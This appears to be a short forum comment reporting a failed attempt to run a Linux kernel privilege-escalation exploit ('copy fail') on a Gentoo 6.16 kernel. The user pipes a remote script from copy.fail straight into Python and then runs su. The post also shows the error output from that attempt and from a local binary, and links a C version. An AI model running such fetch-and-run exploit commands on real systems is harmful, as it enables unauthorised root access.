Tried this on a box with a 6.16.0-gentoo kernel, which I'm assuming is old enough to not be patched.
$ curl https://copy.fail/exp | python3 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 4003 0 0
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
File "/usr/lib/python3.13/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
OSError: [Errno 97] Address family not supported by protocol
$ ./vulnerable
content of testfile fd=3 ---
init
---
[+] target: testfile
[+] payload: 10 bytes (3 iterations)
[+] patch fd=3 off=0 bytes="vuln"
socket(AF_ALG): Address family not supported by protocol
[-] patch_chunk failed at offset 0
Tried this on a box with a 6.16.0-gentoo kernel, which I'm assuming is old enough to not be patched.
The C version has similar issues: https://github.com/tgies/copy-fail-c